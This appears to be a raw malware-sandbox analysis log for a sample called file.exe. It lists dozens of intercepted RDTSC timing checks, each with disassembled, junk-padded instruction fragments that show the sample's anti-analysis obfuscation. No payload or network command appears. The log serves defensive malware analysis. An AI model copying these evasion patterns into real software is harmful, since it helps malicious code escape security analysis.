Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5080595 second address: 50805A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F35A9347BACh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50805A5 second address: 50805A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50805A9 second address: 50805D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a pushad 0x0000000b movsx edx, si 0x0000000e mov eax, 6F5277E5h 0x00000013 popad 0x00000014 pop ebp 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F35A9347BB7h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50805D7 second address: 50805DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50805DD second address: 50805E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50100D5 second address: 50100DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50100DB second address: 50100DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50100DF second address: 5010112 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 jmp 00007F35A91AEEA9h 0x0000000e mov ebp, esp 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F35A91AEE9Dh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5010112 second address: 5010140 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F35A9347BB1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push dword ptr [ebp+04h] 0x0000000c jmp 00007F35A9347BAEh 0x00000011 push dword ptr [ebp+0Ch] 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 501017B second address: 501018C instructions: 0x00000000 rdtsc 0x00000002 mov ecx, 31AD4FC1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a pop ebp 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 501018C second address: 5010190 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5010190 second address: 5010196 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5010196 second address: 501019C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5030B35 second address: 5030B74 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edx, 77B32FE2h 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov eax, 25DEA9C7h 0x00000012 popad 0x00000013 mov dword ptr [esp], ebp 0x00000016 pushad 0x00000017 push edx 0x00000018 pushfd 0x00000019 jmp 00007F35A91AEEA2h 0x0000001e xor ch, FFFFFFA8h 0x00000021 jmp 00007F35A91AEE9Bh 0x00000026 popfd 0x00000027 pop eax 0x00000028 push eax 0x00000029 push edx 0x0000002a push eax 0x0000002b push edx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5030B74 second address: 5030B78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5030B78 second address: 5030B7C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 503068B second address: 5030731 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F35A9347BB1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F35A9347BACh 0x00000011 or eax, 6C7F7738h 0x00000017 jmp 00007F35A9347BABh 0x0000001c popfd 0x0000001d pushfd 0x0000001e jmp 00007F35A9347BB8h 0x00000023 sbb ax, F198h 0x00000028 jmp 00007F35A9347BABh 0x0000002d popfd 0x0000002e popad 0x0000002f push eax 0x00000030 pushad 0x00000031 movsx edi, si 0x00000034 pushfd 0x00000035 jmp 00007F35A9347BB0h 0x0000003a add al, FFFFFFF8h 0x0000003d jmp 00007F35A9347BABh 0x00000042 popfd 0x00000043 popad 0x00000044 xchg eax, ebp 0x00000045 push eax 0x00000046 push edx 0x00000047 pushad 0x00000048 mov ax, di 0x0000004b jmp 00007F35A9347BB7h 0x00000050 popad 0x00000051 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50305EA second address: 5030618 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F35A91AEEA9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F35A91AEE9Dh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 503031E second address: 503033C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F35A9347BB1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 503033C second address: 5030340 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5030340 second address: 5030346 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5030346 second address: 503037D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F35A91AEEA0h 0x00000009 jmp 00007F35A91AEEA5h 0x0000000e popfd 0x0000000f push ecx 0x00000010 pop edi 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 mov ebp, esp 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 503037D second address: 5030381 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5030381 second address: 5030387 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5030387 second address: 50303A2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop ebx 0x00000005 mov ah, 6Ch 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ebp 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F35A9347BAEh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 504014B second address: 5040151 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5080406 second address: 508040B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 508040B second address: 5080499 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F35A91AEEA7h 0x00000009 or ax, 4F3Eh 0x0000000e jmp 00007F35A91AEEA9h 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 xchg eax, ebp 0x00000018 pushad 0x00000019 pushad 0x0000001a mov cx, di 0x0000001d popad 0x0000001e pushfd 0x0000001f jmp 00007F35A91AEEA5h 0x00000024 or esi, 4C72FC26h 0x0000002a jmp 00007F35A91AEEA1h 0x0000002f popfd 0x00000030 popad 0x00000031 push eax 0x00000032 jmp 00007F35A91AEEA1h 0x00000037 xchg eax, ebp 0x00000038 push eax 0x00000039 push edx 0x0000003a pushad 0x0000003b movsx ebx, si 0x0000003e push eax 0x0000003f push edx 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5080499 second address: 508049E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 505038A second address: 505038E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 505038E second address: 5050394 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5030483 second address: 5030489 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5030489 second address: 50304B2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F35A9347BABh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F35A9347BB5h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50304B2 second address: 5030514 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F35A91AEEA1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F35A91AEEA1h 0x0000000f xchg eax, ebp 0x00000010 pushad 0x00000011 mov eax, 329FD093h 0x00000016 pushfd 0x00000017 jmp 00007F35A91AEEA8h 0x0000001c or ecx, 03E29518h 0x00000022 jmp 00007F35A91AEE9Bh 0x00000027 popfd 0x00000028 popad 0x00000029 mov ebp, esp 0x0000002b push eax 0x0000002c push edx 0x0000002d push eax 0x0000002e push edx 0x0000002f pushad 0x00000030 popad 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5030514 second address: 503052F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F35A9347BB7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 503052F second address: 5030554 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edi, si 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f call 00007F35A91AEEA4h 0x00000014 pop eax 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5040F56 second address: 5040F5C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5040F5C second address: 5040F60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5040F60 second address: 5040F7E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F35A9347BB0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5040F7E second address: 5040F82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5040F82 second address: 5040F88 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50501CB second address: 50501D1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50501D1 second address: 5050241 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F35A9347BB8h 0x00000009 and ah, FFFFFFD8h 0x0000000c jmp 00007F35A9347BABh 0x00000011 popfd 0x00000012 pushfd 0x00000013 jmp 00007F35A9347BB8h 0x00000018 xor ax, 1938h 0x0000001d jmp 00007F35A9347BABh 0x00000022 popfd 0x00000023 popad 0x00000024 pop edx 0x00000025 pop eax 0x00000026 xchg eax, ebp 0x00000027 push eax 0x00000028 push edx 0x00000029 jmp 00007F35A9347BB5h 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50707A6 second address: 50707AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50707AA second address: 50707B0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50707B0 second address: 5070845 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F35A91AEE9Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F35A91AEEA6h 0x0000000f push eax 0x00000010 pushad 0x00000011 push ebx 0x00000012 mov cx, F753h 0x00000016 pop esi 0x00000017 mov ebx, 15CBDDBCh 0x0000001c popad 0x0000001d xchg eax, ebp 0x0000001e pushad 0x0000001f pushad 0x00000020 pushfd 0x00000021 jmp 00007F35A91AEEA7h 0x00000026 add ax, 56EEh 0x0000002b jmp 00007F35A91AEEA9h 0x00000030 popfd 0x00000031 pushfd 0x00000032 jmp 00007F35A91AEEA0h 0x00000037 add si, AE68h 0x0000003c jmp 00007F35A91AEE9Bh 0x00000041 popfd 0x00000042 popad 0x00000043 push eax 0x00000044 push edx 0x00000045 mov edx, ecx 0x00000047 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5070845 second address: 5070854 instructions: 0x00000000 rdtsc 0x00000002 mov ebx, ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov ebp, esp 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5070854 second address: 5070858 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5070858 second address: 507085C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 507085C second address: 5070862 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5070862 second address: 507087D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F35A9347BB7h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 507087D second address: 507088D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c mov si, 977Dh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 507088D second address: 5070891 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5070891 second address: 50708C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushfd 0x00000009 jmp 00007F35A91AEEA6h 0x0000000e adc cx, 3588h 0x00000013 jmp 00007F35A91AEE9Bh 0x00000018 popfd 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50708C1 second address: 50708DB instructions: 0x00000000 rdtsc 0x00000002 mov dl, cl 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F35A9347BAEh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50708DB second address: 50708E1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50708E1 second address: 50708E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50708E5 second address: 507093F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F35A91AEE9Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [76FB65FCh] 0x00000010 pushad 0x00000011 call 00007F35A91AEE9Ch 0x00000016 pushad 0x00000017 popad 0x00000018 pop esi 0x00000019 pushfd 0x0000001a jmp 00007F35A91AEEA1h 0x0000001f sub eax, 32EA34B6h 0x00000025 jmp 00007F35A91AEEA1h 0x0000002a popfd 0x0000002b popad 0x0000002c test eax, eax 0x0000002e push eax 0x0000002f push edx 0x00000030 pushad 0x00000031 push eax 0x00000032 push edx 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 507093F second address: 5070948 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov bx, 90ECh 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5070948 second address: 5070975 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov eax, 6456BB97h 0x00000008 mov eax, 4EC17A33h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 je 00007F361B071EA4h 0x00000016 pushad 0x00000017 call 00007F35A91AEEA4h 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5070975 second address: 50709CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 movsx edi, si 0x00000008 popad 0x00000009 mov ecx, eax 0x0000000b jmp 00007F35A9347BB8h 0x00000010 xor eax, dword ptr [ebp+08h] 0x00000013 jmp 00007F35A9347BB1h 0x00000018 and ecx, 1Fh 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007F35A9347BB8h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50709CB second address: 50709D1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50709D1 second address: 5070A07 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F35A9347BAEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 ror eax, cl 0x0000000b jmp 00007F35A9347BB0h 0x00000010 leave 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 jmp 00007F35A9347BADh 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5070A07 second address: 5070A87 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F35A91AEEA3h 0x00000009 xor ecx, 7AF25D7Eh 0x0000000f jmp 00007F35A91AEEA9h 0x00000014 popfd 0x00000015 pushfd 0x00000016 jmp 00007F35A91AEEA0h 0x0000001b and ax, 4878h 0x00000020 jmp 00007F35A91AEE9Bh 0x00000025 popfd 0x00000026 popad 0x00000027 pop edx 0x00000028 pop eax 0x00000029 retn 0004h 0x0000002c nop 0x0000002d mov esi, eax 0x0000002f lea eax, dword ptr [ebp-08h] 0x00000032 xor esi, dword ptr [00E72014h] 0x00000038 push eax 0x00000039 push eax 0x0000003a push eax 0x0000003b lea eax, dword ptr [ebp-10h] 0x0000003e push eax 0x0000003f call 00007F35AD3EF83Ch 0x00000044 push FFFFFFFEh 0x00000046 pushad 0x00000047 push eax 0x00000048 mov di, C266h 0x0000004c pop edi 0x0000004d mov al, 99h 0x0000004f popad 0x00000050 pop eax 0x00000051 push eax 0x00000052 push edx 0x00000053 jmp 00007F35A91AEEA2h 0x00000058 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5070A87 second address: 5070B34 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F35A9347BABh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 ret 0x0000000a nop 0x0000000b push eax 0x0000000c call 00007F35AD588576h 0x00000011 mov edi, edi 0x00000013 jmp 00007F35A9347BB6h 0x00000018 xchg eax, ebp 0x00000019 pushad 0x0000001a pushfd 0x0000001b jmp 00007F35A9347BAEh 0x00000020 or ah, FFFFFF98h 0x00000023 jmp 00007F35A9347BABh 0x00000028 popfd 0x00000029 mov esi, 4C10A94Fh 0x0000002e popad 0x0000002f push eax 0x00000030 pushad 0x00000031 jmp 00007F35A9347BABh 0x00000036 pushfd 0x00000037 jmp 00007F35A9347BB8h 0x0000003c and ecx, 0C26A928h 0x00000042 jmp 00007F35A9347BABh 0x00000047 popfd 0x00000048 popad 0x00000049 xchg eax, ebp 0x0000004a pushad 0x0000004b call 00007F35A9347BB4h 0x00000050 mov edi, esi 0x00000052 pop eax 0x00000053 push edi 0x00000054 mov ch, CBh 0x00000056 pop ebx 0x00000057 popad 0x00000058 mov ebp, esp 0x0000005a push eax 0x0000005b push edx 0x0000005c push eax 0x0000005d push edx 0x0000005e pushad 0x0000005f popad 0x00000060 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5070B34 second address: 5070B38 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5070B38 second address: 5070B3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5070B3E second address: 5070B44 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5070B44 second address: 5070B6C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F35A9347BB0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ebp 0x0000000c pushad 0x0000000d call 00007F35A9347BAEh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5020044 second address: 502004A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 502004A second address: 502009A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F35A9347BAAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 and esp, FFFFFFF8h 0x0000000c jmp 00007F35A9347BB0h 0x00000011 xchg eax, ecx 0x00000012 pushad 0x00000013 mov esi, 7538086Dh 0x00000018 mov eax, 73D9BE69h 0x0000001d popad 0x0000001e push eax 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 call 00007F35A9347BB0h 0x00000027 pop esi 0x00000028 call 00007F35A9347BABh 0x0000002d pop ecx 0x0000002e popad 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 502009A second address: 50200B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F35A91AEEA5h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50200B3 second address: 5020134 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F35A9347BB1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ecx 0x0000000c jmp 00007F35A9347BAEh 0x00000011 xchg eax, ebx 0x00000012 jmp 00007F35A9347BB0h 0x00000017 push eax 0x00000018 pushad 0x00000019 mov bh, 63h 0x0000001b mov ecx, 23A60079h 0x00000020 popad 0x00000021 xchg eax, ebx 0x00000022 push eax 0x00000023 push edx 0x00000024 pushad 0x00000025 call 00007F35A9347BB1h 0x0000002a pop eax 0x0000002b pushfd 0x0000002c jmp 00007F35A9347BB1h 0x00000031 add ax, 4BF6h 0x00000036 jmp 00007F35A9347BB1h 0x0000003b popfd 0x0000003c popad 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5020134 second address: 502013A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 502013A second address: 502013E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 502013E second address: 5020142 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5020142 second address: 5020161 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebx, dword ptr [ebp+10h] 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F35A9347BB2h 0x00000012 rdtsc
